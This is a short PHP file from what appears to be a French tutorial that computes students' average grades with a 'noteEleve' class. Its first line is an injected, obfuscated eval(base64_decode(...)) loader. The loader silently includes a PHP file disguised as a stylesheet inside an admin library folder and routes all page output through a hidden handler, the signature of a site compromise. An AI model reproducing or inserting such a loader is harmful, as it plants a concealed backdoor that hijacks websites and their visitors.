<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9tbnQvMTY3L3NkYi9jLzQvcHJlcGFtcC9kb2NzL04uYXZhbmNlZXMva2l0X1Bob3Rvcy9zaXRlX2ZsYXNoL2FkbWluL2xpYnMvYW1mcGhwL2FtZi1jb3JlL2FkYXB0ZXJzL2xpYi9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19'));
?> <?php
class noteEleve{
var $noteCompter;
var $noteLire;
var $noteVieDeClasse;
var $noteGlobale;
function noteCompter($noteCompter){
$this -> noteCompter = $noteCompter;
}
function noteLire($noteLire){
$this -> noteLire = $noteLire;
}
function noteVieDeClasse($noteVieDeClasse) {
$this -> noteVieDeClasse = $noteVieDeClasse;
}
function noteGlobale($noteCompter, $noteLire, $noteVieDeClasse){
$this -> noteGlobale = ($noteCompter + $noteLire + $noteVieDeClasse)/3;
return $this;
}
}
$eleve1 = new noteEleve(); // Instanciation de la classe
$eleve1 -> noteGlobale(16, 20, 12); // Accéder aux fonctions membres
echo "La note moyenne de l'élève1 est ".
$eleve1->
noteGlobale.
"<br>";
$eleve2 = new noteEleve();
$eleve2 -> noteGlobale(0, 12, 5);
echo "La note moyenne de l'élève2 est ".
$eleve2->
noteGlobale.
"<br>";
?>